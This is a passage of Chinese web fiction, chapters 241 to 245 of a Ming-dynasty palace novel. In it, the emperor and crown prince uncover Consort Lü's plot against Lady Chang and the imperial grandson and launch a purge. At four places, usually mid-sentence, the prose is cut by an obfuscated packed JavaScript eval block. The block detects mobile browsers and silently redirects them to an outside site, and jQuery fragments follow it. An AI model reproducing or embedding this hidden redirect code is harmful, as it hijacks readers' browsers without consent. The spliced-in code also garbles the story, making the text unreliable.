朱标也收敛了面上的轻松,目光沉静下来,退到一侧垂手侍立。
马皇后回到朱元璋身畔的位置,心口突突跳得厉害。
殿门被推开。
蒋瓛高大的身影出现在门口。
他一袭玄色飞鱼服,风尘仆仆。
他大步走到御座下,隔着丈许距离,单膝触地,抱拳行礼:“臣蒋瓛,参见陛下,皇后娘娘,太子殿下。”
朱元璋身体微微前倾:“讲。”
这一个字,带着砭人肌骨的寒意。
蒋瓛抬起头,没有任何隐瞒:“臣等……顺藤摸瓜,深挖天泽兴隆栈遗存秘档,结合江南数家涉事商贾口供,再细查东宫十余年人事调动卷宗,比对宫内病故名录与可疑脉案……诸多线索反复勾连,相互印证……”
他停顿了一下。
“臣奉旨追查,经月余密访,已厘清吕氏、张阔海勾连江南豪商残害皇嗣案诸般脉络。现已查明,常妃娘娘当年难产崩逝之症……确非偶然。臣等追查其孕中服用的‘安宫保胎散’,此药方表面出自宫闱旧档,但其中几味关键药引剂量比例大有蹊跷,非宫中常用配伍。
据查,昔日常妃娘娘难产崩逝,手法隐蔽,痕迹几近湮灭,虽难定具体行凶之人,然其背后推手、药引源头及遮掩安排,皆指吕氏与奸商所供‘温玉散’脱不开干系,此一节,综合人证物证,基本坐实。”
他说到这里,御案后朱元璋的脸色已铁青一片,眼底是翻涌的惊涛骇浪和能焚毁一切的怒火。
朱标站在一旁,身体绷得笔直。
马皇后一只手死死按住心口,脸色煞白。
蒋瓛深吸一口气,继续道,声音更显艰涩:
“至于……皇长孙那场几乎致命的天花痘症……”
他加重了语气,
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070792|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
源头,亦非天灾,乃人祸!”
殿中仿佛响起一声无声的惊雷。
朱标的身体剧烈地一晃,似乎站立不稳。
朱元璋猛地扶住龙椅扶手,五指几乎要嵌入那坚硬的木头里。
马皇后捂住了嘴,眼睛瞬间充满血丝。
蒋瓛垂下眼,“……是有人处心积虑,将一名已染上天花、尚在出痘期的小宫女……以‘新采办粗使杂役’之名,瞒天过海送入东宫!
“时间点,恰在皇孙染病前不足半月!
“此女名唤翠竹,籍贯登州府,身世清白无甚可疑。然,其入宫途径诡异,所用身契为伪作。
“其送入东宫后,并未分入重地当值,反被以‘粗笨’为由,就近安置在……东宫西北配殿浣衣处当差。
“而当时……皇孙殿下……其日常起居所用贴身细软……”
他后面的话无需说完,可能性已然昭然若揭——痘疮之毒,可随贴身衣物传播!
“此女在送入东宫后不足一月,便‘突发高热’,两日后‘暴毙身亡’。”
“尸体报验后,由内侍赵槐麾下的小宦官,以‘秽气污浊,恐染宫苑’为由,着人连夜抬出宫焚化。当时奉命抬尸的……是东宫的两名三等侍卫,王虎、张猛。
“此二人在事毕后,就再未出现在东宫轮值名册上。据查,彼时吕氏以‘护卫有功,另有恩赏’,将此二人连同其家人,一并迁出了京师,送往京畿一处皇庄安置。”
蒋瓛微微抬起头,“臣等顺线索追查至那处皇庄。然,皇庄管事报称,约莫一年前,王、张两家连同其亲眷共计二十八口……悉数于一场‘意外失火’中……化为焦土!无一幸存!”
寂静。
死一样的寂静。
“好……好得很!”朱元璋的声音嘶哑地响起,每一个字都带着滔天的恨意。
他的身体似乎因为极力压制怒火而微微颤抖。
脸上所有的血色都已褪尽,唯有那双眼睛,如同两团燃烧的火,死死盯着蒋瓛呈上来的那份染血的证词。
“真是……天衣无缝!”他猛地一拍龙案,“毁尸灭迹,斩草除根!一环扣着一环,步步为营!心肠狠毒至此!手段缜密至此!连一个几岁的孩子都不放过!连咱的亲孙子都要用这么阴损的法子往死路上送!”
马皇后踉跄一步,泪水无声地汹涌而出,她死死咬着下唇,不让自己哭出声来。
她的儿子朱标,当年承受了怎样的丧妻之痛?
她的孙儿雄英,当年又经历了怎样九死一生的折磨?
如今得知这血淋淋的真相,那份痛楚何止千倍万倍!
朱标猛地闭上眼,复又睁开。
再睁开时,如同淬过火的冰。
他开口,“父皇。铁证如山。该当如何?”
朱元璋缓缓抬起他那双**如麻的手,“如何?”
他低沉地重复了一句,“自然是诛!根!”
……
第242章帝王一怒!伏尸百万!准备清洗!
乾清宫。
马皇后的手紧紧按在心口,身体微微摇晃。
那双慈和的眼眸,此刻被滔天的痛楚灼烧着。
她的嘴唇翕动,想说什么,最终却只是死死咬住下唇,渗出一丝殷红。
雄英!
那孩子当时在生死线上挣扎的痛苦模样,那撕心裂肺的哭喊,那高烧不退的惊惧,此刻无比清晰地撞回脑海。
每一次敷药换下的脓水纱布,每一次半夜惊醒的恐惧尖叫都曾是她心尖滴血的烙印。
而现在,有人告诉她,这并非天灾!
是处心积虑的**!
这刀子,是直接剜在了她的心尖上!
要不是自己弟弟有通天的本事,现在自己的孙子早就已经成为了一抔黄土。
雄英绝对不仅仅只是一个皇孙那么简单。
他还关系着大明储位稳定。
朱元璋没有像往常暴怒时那样拍案而起。
他端坐在龙椅上。
朱标就站在御案不远处。
挺拔的身姿像一杆立于风雪中的标枪,纹丝不动。
他不敢看母亲悲痛欲绝的脸,更不敢细思父亲眼中的怒火。
他所有的感知都被汹涌而来的滔天恨意和冰冷彻骨的现实冲击着。
常氏!
那个温婉相伴,为他生下嫡长子的妻子!
雄英!
他寄予厚望,倾注了所有慈爱的嫡长子!
他们的生命,他作为丈夫,作为父亲未能守护住的生命。
那曾经的蚀骨之痛,无尽的愧疚,日夜啃噬着他,让他无数个深夜在空荡荡的东宫醒来,只能对着冷月独自舔舐伤口。
他曾以为那是一场残酷的命运玩笑。
却原来是早已被人精心编织好的死亡罗网!
吕氏!
这个名字,这个在他身边温言细语,为他抚育子嗣的女人。
那看似柔顺的表象下,竟藏着如此阴毒的心肠!
这不仅仅是背叛!
是对他朱标身为太子权威的践踏!
是对他作为一个男人尊严的彻底蹂躏!
是对他血脉至亲最卑劣,最残暴的**!
那股压抑到极致的愤怒和羞辱感,在他血脉中咆哮,几乎要冲破理智。
不知过了多久,也许只是一瞬,也许是漫长的一个时辰。
马皇后压抑到极致的抽泣声也消失了,只剩急促而沉重的喘息。
所有的目光,都汇聚在龙椅上的那个人身上。
朱元璋缓缓地,抬起了眼皮:“标儿。”
朱标深吸一口气,压下几乎喷薄而出的杀意,强迫自己抬起眼,迎向父亲审视般的目光。
“胡惟庸的案子。”朱元璋一字一顿,“还记得吗?”
朱标的身体几不可查地挺得更直。
胡惟庸案!
那场震动朝野,血流漂杵的大案!
“当时,举朝哗然,淮西故旧为之求情者如过江之鲫,刑部大牢哀嚎不绝,法场之上,头颅滚滚”朱元璋缓缓说道。
“那个时候,你亲自主持勾绝名单,亲手批下了几份斩立决的旨意。甚至户部那个主事李衡,是你的半个启蒙恩师,论起来对你有授业之恩你也没留情面。”
朱元璋身体微微前倾,“现在,告诉咱!你还有没有那份魄力?!”
“还有没有那份为了拔除毒瘤,不惜让血染朝堂!哪怕亲手斩断故旧情谊!也要扫清魑魅魍魉的魄力!”
质问如同重锤,砸在朱标心上。
不是为了考教!
是在确认他朱标面对此等深仇大恨,滔天罪恶时,能否摒弃那世人所谓“仁弱”的假象!
能否以储君之尊,行铁血雷霆之手段!
大殿落针可闻。
马皇后的泪水再次无声滑落,她紧张地看着儿子。
蒋瓛匍匐在地,额头紧紧贴着冰冷的金砖,不敢发出任何动静。
所有人的命运,仿佛都悬于太子接下来说出的几个字。
朱标没有立刻回答。
他低下头。
不是畏惧。
脑海里飞快掠过胡惟庸案的纷乱场景。
那名单上一个又一个熟悉的名字,或曾是他的座上宾,或曾是他少年时的伴读,或曾是他敬重的师长求情?
恸哭?
他朱标的心,难道真是铁石不成?
当然不是!
但彼时彼刻,他看到的不是这些人情羁绊,他看到的是一张巨大的,无形的网!
这张网以淮西勋贵为骨干,以姻亲故旧为纽结,将触手伸向六部各司,甚至地方州府。
贪婪地吮吸着国朝的命脉!
若不将其连根斩断,大明这根基未稳的擎天巨柱,迟早会被这些蠹虫蛀空!
迟早会被这张私利结成的巨网拖垮!
那些看似情深的求情背后,藏着的是对皇权的蔑视!对法度的践踏!对帝国根基的蛀蚀!
那时下笔勾决,每一次落笔,掌心亦是冷汗涔涔。
不是没有恐惧,不是没有犹豫,不是没有痛!但必须如此!
他朱标肩上的,不只是人情,是整个大明!
是千万黎民,是万世基业!
朱标缓缓抬起头,迎着朱元璋的目光,没有任何闪躲。
“父皇,胡惟庸之案,儿臣从未忘却分毫。”
“当日儿臣执笔勾决,斩的不是旧情恩义。”
“儿臣斩的,是盘踞朝堂,威胁国本的毒瘤!”
“是妄图以一己私欲,凌驾于国法之上,割裂我大明疆土的邪祟!”
“他们内外勾结,蒙蔽圣听,贪渎枉法,已成朝堂之癌!不铲除,则国必危!”
“正如今日——”
朱标的声音拔高,“东宫吕氏,勾结奸佞豪商,以阴损毒计祸乱宫闱,残害皇嗣!”
“害我发妻常氏!差点杀我嫡子雄英!此仇不共戴天!”
“其行径,已非后宫争宠嫉妒之小节!实乃撼动国本,动摇社稷之重罪!”
“其所牵连者,无论是那早已化为焦土的二十八条性命背后的指使者!
“还是提供**,打通关节,埋线布局的江南巨蠹!
“抑或是当年为其遮掩,助其潜逃的帮凶!”朱标的声音斩钉截铁,没有丝毫转圜的余地:“有一个算一个!”
“上至勋贵!下至胥吏!”
“凡涉案之人”
他停顿了一下,深深吸了一口气,“杀!”
“无论亲疏!无论贵贱!”
“儿臣只有一个要求——”
“彻查!彻办!绝不姑息!”
“要连根拔起!要斩草除根!要让他们死无葬身之地!让天下人看看,谋害皇嗣,祸乱朝纲者,是何下场!”
“要用他们的血,祭奠常氏!祭奠这桩血案中所有枉死的冤魂!”
“儿臣”朱标向前半步,如同利剑出鞘,眼神再无半分温文尔雅,只剩下属于帝国未来继
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070793|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承人的铁血与冷酷:“有!这份魄力!”
“这份为了大明万世基业,廓清寰宇,涤荡乾坤的魄力,儿臣从未丢失!儿臣,时刻准备着!”
掷地有声的话语落下。
乾清宫陷入一片更深沉的寂静。
那番话里,没有文人谋篇布局的华彩词藻,没有朝堂上你退我进的**算计。
只有赤裸裸的,毫不掩饰的铁与血!
杀!
连根拔起!
斩草除根!
死无葬身之地!
马皇后看着儿子决绝而冰冷的脸,闪过一丝释然。
朱元璋眼底的寒冰终于缓缓褪去。
取而代之的,是欣慰,更是看见雏鹰终于敢于搏击长空,亮出利爪的确认。
他需要一个能守住江山的继承人。
而此刻朱标准确无误地告诉他——他是!
他不只有仁厚的一面!
他更有掀翻棋盘,将敌人彻底碾碎的帝王魄力!
“好!”朱元璋重重地吐出一个字。
他猛地从龙椅上站起!
“蒋瓛!”
“臣在!”蒋瓛几乎瞬间回应,拿着这份东西!”
“立刻带人!”
“按太子所示!”
“给咱一个不漏!彻!查!到!底!”
“东宫吕氏!其父其兄!其家族爪牙!天泽兴隆栈所有幕后之人!与当年伪作身契,运送病婢,焚尸灭口相关的所有人员!一个都不能少!”
“传咱口谕给刑部,都察院,大理寺三法司!此案列为天字第一号!证据确凿者,不必再押,即刻”朱元璋眼神冰冷,“正法!”
“臣!领旨!”蒋瓛霍然起身。
他深深一拜,转身出了殿门。
殿内只剩下帝,后,太子三人。
朱元璋转过身,一步步走回御案后,并未立刻坐下。
他背对着朱标和马皇后,看着墙上悬挂的大明疆域图。
“标儿。”
“父皇。”朱标沉声应道。
“你今日所言”朱元璋的声音听不出喜怒,“很好。”
“但你要记住。”他缓缓转过身,“帝王一怒,伏尸百万看似雷霆万钧,实则亦是国之重器,不可轻动,更忌反噬。”
“你今日杀心如炽,此乃天性,亦是为父,为夫,为君者当有之义愤!
“但杀伐之外,更要思量。”
朱元璋的眼神锐利依旧,却多了一份帝王权术的老辣。
“杀,不是目的!是手段!”
“目的是肃清内患!是巩固江山!是杀一儆百,让人不敢再生妄念!”
“今日之后,东宫需要重立。淮西故旧里,还有多少因吕氏这层关系,与那些江南巨蠹有千丝万缕联系的?”
“朝堂格局,必将因此震动。”
“如何利用这次雷霆清洗的余威,稳固朝局,重树威信”
“如何安葬那些冤魂,平息他们亲属的悲愤,昭雪旧案,宽慰民心”
“如何安抚那些因震动而惶惶不安,但本身未必有染的朝臣”
“如何重建秩序”
“这些,才是真正的考验。”
“魄力,不只是举起屠刀那一刻。更是在血光之后,如何在一片废墟之上重建社稷!”
“这盘棋,下一步怎么落子?”他盯着朱标的眼睛,“你可想好了?”
朱标迎着父亲的目光,“儿臣明白。”
四个字,同样沉重如铁……
第243章大案起!锦衣卫天南海北的抓人!
正月初九的雪非但没停,反倒掺了霰子,敲在屋顶窗棂上噼啪作响。
天刚蒙蒙亮,街市罕见地空旷死寂。
往日吆喝的贩夫走卒都没了踪影。
一队人马突兀地撕破了这片死寂。
清一色的玄色锦衣,为头的,正是锦衣卫指挥使蒋瓛。
他们没有停留,目标明确,径直扑向东城柳条胡同深处一座三进的清雅小院。
宅门紧闭,门檐下挂着两盏红灯笼,此刻在风雪里瑟瑟发抖。
蒋瓛略一偏头。
两名魁梧校尉猛地抬脚踹去!
“砰!”
薄薄的枣木门栓应声断裂。
里面,翰林院侍讲黄子澄正裹着厚裘,临窗描摹字帖。
剧烈的破门声惊得他手一抖。
他愕然抬头,尚未看清闯入的人影,就被两名如狼似虎的锦衣卫一左一右架了起来!
铁钩索扣住了他的手腕,勒得生疼。
“你们!放肆!本官乃……”黄子澄又惊又怒,挣扎着想要喝斥。
蒋瓛看也没看他,只对着院中慌成一团的下人们冷冷吐出一个字:“搜!”
顷刻间,书房被撞开,箱笼被掀翻,书籍字画散落一地。
抄家的动静粗暴得如同土匪过境,翻箱倒柜的声音混杂着女眷惊恐的尖叫。
黄子澄被拖出院门时,看到雪地里站着面色如土的齐泰——他的挚友,另一位饱读圣贤书、平日以清流自诩的翰林编修,此刻同样被铁链锁拿,官帽歪斜,狼狈不堪。
两人目光在空中一碰,都从对方眼中看到了骇然与绝望。
“齐兄……”
“黄兄……”
没有多余的话。
蒋瓛手一挥:“带走!”
柳条胡同的动静只是个开头。
这场锦衣卫刮起的寒风,瞬间席卷了整个京城。
它不再是小范围的清查,而是遮天蔽日的乌云,裹挟着雷霆,劈向了所有与“那件事”有牵连的人。
一道道写着冰冷名字的朱批手令从宫里飞出,快马传递。
户部衙门里,一个管着江南钱粮漕运的主事,正在暖阁里眯着眼打算盘,门被踹开,连人带算盘珠一起被架了出去,连句辩解都来不及喊。
刑部大牢深处,几个因为贪渎被关押了月余的犯官,在绝望中熬日子。
这天,牢门哗啦大开,进来的不是提审的司官,而是面色冷厉的锦衣卫!
铁链重新套上脖颈,往更深的死牢拖去。
连带着,几个刚进来不久、看似与此事无关,却卷入了某些牵连的地方官吏,也一并被提走。
兵部武库司郎中的家被围了。
工部管采买的员外郎,刚下朝走到巷口就被堵住。
连带着几个在通政司掌管文书的笔帖式,刚换值出来,就被按倒在积雪的街头。
五城兵马司里,几个平日里盘查城门油水丰厚的实权把总,被自己上峰亲自带人拿下,面如死灰。
这场风,刮的绝不仅仅是几个品级不高的朝官。
更猛烈的雷,在酝酿,并将砸向大明的膏腴之地。
数百里加急的快马如离弦之箭,冲出京城,分扑应天、松江、苏州、扬州、杭州……
江南的暖冬被彻底撕裂。
清晨的河道码头,雾气还没散尽,满载绸缎茶叶准备启航的商号大掌柜,还没来得及吩咐伙计解开缆绳,岸上已涌来一队盔甲鲜明的军士。
为首军官亮出腰牌,冰冷的眼刀刮过人脸:“海通商行赵掌柜?奉旨查案!”
商号伙计们的吆喝声瞬间死寂。
刚还喜气洋洋的赵掌柜,肥脸上血色尽褪,嘴唇哆嗦着说不出一个字,被甲士当死猪一样拖走了。
秦淮河边的精致河房里,一群操着吴侬软语的富商巨贾正在密谈开春后的盐引生意。
丝竹酒香间,推杯换盏。
厚重的门扉轰然洞开!
凛冽的寒风吹散暖香,谈笑声戛然而止,有人甚至吓得瘫软在地。
无论身份高低、家财多寡,只要那份密卷上有名,无一人幸免。
苏杭腹地,几户累世簪缨、诗礼传家的江南望族祖宅,被军队铁桶般围住。
白须飘飘的族老被请上囚车时,还在高声喊着“尔等可知老夫身负功名”
“我要面见圣上申冤”。
恐慌不再是官场的专属。
它在最富庶繁华的水乡蔓延。
市井间流言如沸,茶馆酒肆里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070794|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,有人刚低声议论几句,见官差带人走过,立刻噤若寒蝉。
“变了天了……”有老人躲在门窗紧闭的家里,望着窗外灰沉沉的天色和偶尔飞奔过去的铁甲,喃喃自语。
街巷间,连串亲戚的小孩都少了。
一种无形的肃杀,冻结了江南的水,冻僵了人心。
……
小青村医馆里,马淳刚刚送走一个感染风寒的村娃。
他站在屋檐下,袖着手,望着京城方向。
小六抱着一摞干净的布巾从堂内出来,看到师父这样,也忍不住跟着看过去。
院门口,几个学徒缩着脖子在低声议论着什么,声音被风吹得断断续续。
小六凑近了些,只听到“抄家”、“抓了好多大商”、“连兵都动了”之类的词。
“师父,外面……咋了?”小六忍不住问。
马淳没有回头,“翻旧账。掀了盖子。”
他的声音很平,但小六却莫名打了个寒噤。
翻什么旧账能掀动整个江南?
一个念头电光石火般掠过马淳脑海——常氏娘娘难产而亡!
朱雄英那场突如其来的天花!
蒋瓛那深夜呈上的证词!
吕氏那张看似温顺的脸背后隐藏的滔天毒计!
那场他成功阻止了的空印案,避免了无数官员的冤死。
可这桩被刻意掩埋了太久的毒害皇嗣案,一旦被揭开真相,其引爆的怒火与报复,空印案与之一比竟还算得上仁慈!
太子妃是确确实实被害**!
若不是机缘巧合,朱雄英此刻也已是一具枯骨!
这对帝王之家意味着什么?
这是最彻底的背叛,是最深的逆鳞!
为了皇权的稳固,为了尊严的惩戒,更要为朱雄英那可能的帝位之路彻底扫清障碍。
这次掀起的狂澜,只会比历史上的空印案更猛、更烈、更惨绝人寰!
“报应来了,”马淳喉结微动,“血债要用血来偿。可流再多的血,也消不了人心头那点恨更抹不平心里的伤。”
马淳收回目光,掸了掸落在肩头的雪花。
皇权之下,命如草芥。
他转身,步履沉重地走回药香弥漫的内堂……
第244章抓人!吕家完了!太子妃完了!
京城的风雪,好像越来越大了。
不是落在瓦檐上那种看得见的雪,而是一种沉甸甸的,压在所有人心口的东西。
消息像长了脚的耗子,在巍峨宫墙里悄无声息地乱窜。
东宫那一片平日最讲规矩,最重体面的地方,如今却透着几分死寂。
连扫雪的宫女太监都缩着脖子,步子放得又轻又快。
太子妃吕氏住的暖阁里,暖炉烧得挺旺。
可吕氏只觉得寒气是从脚底板往上冒,顺着骨头缝一直钻到心窝子里。
她裹紧了身上那件上好的锦缎厚袄,指尖却还是冰凉的。
“娘娘?”贴身伺候了二十几年的老嬷嬷端着一碗刚熬好的参汤进来,她把汤轻轻放在暖炕桌上。
吕氏没反应。
“娘娘,您多少进点热乎的,这雪天寒气重……”老嬷嬷的声音放得又轻又柔。
“都抓起来了?”吕氏突然开口。
“啊?”老嬷嬷心里一紧,装糊涂,“娘娘您说什么……”
“江南那边,抓人了!是不是?”吕氏猛地扭过头,死死钉在老嬷嬷脸上,“我听说被抓的,都是江南那边的人!当官的,做买卖的!是不是?!”
老嬷嬷端着碗的手抖了一下,参汤差点洒出来。
她脸上的皱纹都挤在了一起,嘴唇嚅嗫着,想劝慰,却一个字也吐不出来。
一股灭顶的冰冷瞬间淹没了吕氏。
完了。
她脑子里只剩下这两个字。
那个巨大的,被她死死捂住多年,以为早就埋进土里化成灰的盖子终究是被掀开了!
而且是从江南开始掀的!
那地方,是她吕家经营多年的根基!
是她父亲吕本去世前深耕的故土!
是她堂叔吕业这些年暗地里搅动风云,泼天富贵来源的地方!
“怎么会……怎么会查到了江南?”吕氏声音发抖,像是梦呓,“当初……当初不是都说天衣无缝吗?那病秧子丫头,早烧成了灰!那两个抬尸的蠢货……他们两家不是……不是在庄子里一把火全干净了吗?皇庄啊!”
她说着说着,声音陡然尖利起来,“谁查的?蒋瓛那个活阎王?他没那个胆子挖这么深!是父皇……还是太子……太子……对!本宫要去见太子!本宫是东宫之主!是允炆的母亲!他们不能这么对本宫!”
她像溺水的人抓最后一根稻草,猛地从暖炕上下来,赤着脚就往门口冲。
“娘娘!您还没穿鞋……”老嬷嬷惊呼。
吕氏哪里管这些,只想立刻冲出这道门,冲到太子朱标面前!
她是他的正妃!
为他生了皇孙允炆!
凭旧时的猜疑,能把她怎么样?
她猛地拉开暖阁沉重的雕花门。
寒风吹得她一个哆嗦,头发都乱了。
门口杵着的两个身影,像铁铸的塑像,无声地挡住了她的去路。
他们穿着普通宫卫的服色,但腰杆挺得笔直,眼神锐利,绝不是普通的东宫侍卫。
是陌生的面孔。
吕氏的心,一下子沉到了谷底。
“让开!”她强撑着那点仅剩的东宫之主威严,厉声喝道。
门口左边的铁塔侍卫眼皮都没动一下,“请太子妃回内歇息。太子殿下谕令,风雪寒重,请您在殿内静养,无事不得出此门半步。”
右边的侍卫接着道:“一应所需,臣等会奉命递进。”
软禁!
吕氏眼前发黑,身子晃了一晃,死死抓住门框才没倒下。老嬷嬷赶紧上前搀扶住她。
“好……好……”吕氏嘴唇哆嗦着,“好一个静养!好一个无事不得外出!朱标!你好狠的心肠!连当面问一句都不肯了吗?!”
她像是彻底豁出去了,对着空无一人的冰冷回廊嘶喊:“朱标!你出来!你出来看看!看看本宫为你生儿育女!看看本宫打理东宫这几年!就为了一个死鬼常氏!一个还没死的朱雄英?!那孩子不是命大没死吗?你至于……”
“娘娘!慎言!”老嬷嬷吓得魂飞魄散,死命捂住吕氏的嘴,眼泪都出来了,“求您了娘娘!隔墙有耳啊!慎言啊!”
老嬷嬷连拖带抱地将状若疯癫的吕氏拽回了暖阁深处,“砰”地一声紧紧关上了门。
吕氏瘫在暖炕上,浑身脱力。
老嬷嬷跪在脚踏边,泪流满面:“娘娘……娘娘……认命吧……天家哪容得下这等事……沾了皇嗣的血……就是条死路啊……”
“死路……”吕氏眼神空洞“我吕家……我父亲吕本……堂堂太常寺致仕……功名一世……怎么就有吕业那等蠢货兄弟。
“还有我爹留下的那些人脉……工部侍郎张允之。
“礼部那个谁……他们不都是江南人吗?
“一个个平日里说得花好稻好,要钱要前程的时候嘴脸光鲜,事发了一个都跑不掉……”
她猛地想起几日前隐约听到的零星风言风语,工部的侍郎张允之,礼部的某位老尚书,似乎都在今日下朝后“被陛下留堂问话”,再没回家。
千里之外的江南此刻会是怎样一番地狱景象?
那些依附于吕家,和堂叔吕业沆瀣一气的江南巨贾们,那些收了银子,大开方便之门的官吏们。
锦衣卫快马铁蹄踏碎的恐怕是整个江南盘根错节的利益网!
巨大的恐惧攥紧了吕氏的心。
“还有我那个好堂叔!”吕氏突然神经质地冷笑起来,笑声带着哭腔,满是怨毒,“吕业!你当年拍着胸脯说万无一失!你说常氏那个**必死无疑!你说那痘能送朱雄英那小崽子归西!你说事后都能抹得干干净净,痕迹全消!全是放屁!放屁!!”
“你那‘温玉散’不是包治百病,神鬼难查吗?你那打通关节的手段不是通天彻地吗?
“你不是说在江南跺跺脚,半个应天的官员都要给你堂侄女我这个太子妃面子吗?!
“现在呢?!抄家的铁骑踩到你门上的时候,你那些‘面子’在哪?!你的‘手段’在哪?!”
她越说越激动,唾沫星子横飞:“父亲走了!你就以为你能只手遮天?!
“你以为把那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077935|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见不得光的银子,那些买卖都弄到江南,弄到吕家那些远亲旁支的田庄里,借着我的名头招摇过市,就没人动得了你?!
“蠢材!全都是蠢材!我爹一辈子挣的清名功业,全让你们这些蠢货拖累了!也把我……搭进去了……”
嘶吼耗尽了力气,吕氏颓然倒在暖炕上。
老嬷嬷在一旁无声垂泪,面如死灰。
完了,全完了。
从江南的旧事被翻出来那一刻起,她这个东宫太子妃的结局就已经注定。
什么荣华富贵,什么母仪天下的幻想,都像窗外的雪沫子,风一吹,就什么都没了。
皇帝震怒,太子冷眼。
娘家那边,覆巢之下焉有完卵?
堂叔吕业首当其冲,父亲生前苦心经营的人脉网,那些享受着吕家遗泽,同气连枝的江南官员巨贾,谁都跑不了!
而她自己……
吕氏惨然一笑。
太子连当面质问都不肯,一道“静养”的命令,冰冷的侍卫,就把她关在了这华丽的金丝笼里。
这是让她等死吗?
等着最后的清算?
“允炆……我的允炆……”她忽然捂住脸,带着母亲绝望的颤抖,“他怎么办……我的允炆……他还那么小……”
老嬷嬷听着这哭声,心里也像是被刀割一样。
允炆皇孙,才多大点孩子啊?
可沾了母族谋害皇嗣的血腥,这孩子未来的命运,还能好吗?
雪,越下越大了,仿佛要将整个东宫,整个京城,乃至整个江南的血色,都深深地,永远地埋起来。
与此同时,千里之外的江南某地。
“轰!”
华美府邸朱漆大门轰然洞开,沉重的门栓断裂飞出的声响,压过了府内几声零落惊恐的尖叫。
“锦衣卫奉旨办案!闲杂人等速退!”
一声冷厉的暴喝响起。
为首的是个面孔陌生的千户,他身后的玄衣卫潮水般涌入。
庭院楼阁,锦绣文章堆积的书房,藏匿珍玩的内室,瞬间被如狼似虎的身影撞破。
“反了!你们反了!知道这是谁的府邸吗?!
“我乃……我乃已故吕尚书的堂弟!太子妃娘娘的……”
一个穿着酱色福字纹员外袍,保养得宜,此刻却面如土色的中年富态男子,正是吕业。
他被两个身材高大的锦衣校尉像拎小鸡一样,从一间暗藏银窖的假山密室旁拖了出来,花白的胡子气得乱抖。
“吕业是吧?”陌生的千户踱步上前,居高临下地看着他。
“勾结前太医院院判张阔海,暗通药源,私入宫禁,谋害皇嗣,罪证确凿!拿下!”
冰冷的铁链“哗啦”一声重重套上了吕业粗壮的脖子。
吕业脸上最后一点血色也褪尽了,双腿一软,肥胖的身体像个沉重的口袋瘫倒在地。
那身代表富贵和权势的员外袍,此刻浸在冰冷的雪水和泥污里,比垃圾还要肮脏。
“带走!”
锦衣卫拖着彻底瘫软失禁的吕业走过狼藉的庭院。
……
第245章 怕死的狗东西们找大夫灭火?
雪片子不要命似的往下砸。
小青村医馆的门槛都快被踏破了。
熬药的罐子咕嘟个不停,满屋子苦味儿。
“心慌,整宿整宿合不上眼!一合眼就看见……”一个绸缎庄的刘掌柜,坐在条凳上。
他瘦脱了相,眼底两团青黑像用墨泼上去的。
小六刚给他号完脉,眉头皱得死紧。
“脉象弦数如急雨,惊悸过甚,耗伤心神。”小六抬头看马淳,“师父,还得您拿个主意。”
马淳没应声,只把脉枕往前推了推。
那刘掌柜却像被烙铁烫了,猛地缩回手,又飞快抓住马淳的袖子。
“国公爷!”他身子往前倾,小声说道,“小人那点生意,账目绝对清白!就是……就是前年给工部张侍郎府上送过几匹料子,统共就一回!您明察秋毫,能不能……能不能替小人给上面递句话?”
他急切的眼珠子里,想抓住根稻草。
马淳抽回袖子,“我是大夫,号脉开方是本职。国公是爵位,管不了刑狱断案。你若为病来,药在柜上抓。若为旁的事……”
他目光扫过那刘掌柜瞬间灰败的脸,没说完,意思明明白白。
刘掌柜嘴唇哆嗦着,还想挤点话出来。
旁边学徒已经端了碗安神药汤搁他面前,药气腾腾,隔开了两人视线。
药碗旁边,几张宝钞硌在桌面上,是他刚才悄悄推过来的。
学徒板着脸,把宝钞拨拉回刘掌柜那边。
“下一位。”马淳眼皮都没抬。
那刘掌柜哆嗦着手捧起碗,失魂落魄地缩到角落条凳上去了。
刚过晌午,又来了一拨。
领头的是个穿貂皮大氅的胖子,脸颊肥肉横生,眼袋却浮肿下垂,走道腿肚子都发飘。
后面跟着两个家丁,抬着口沉甸甸的樟木箱子。
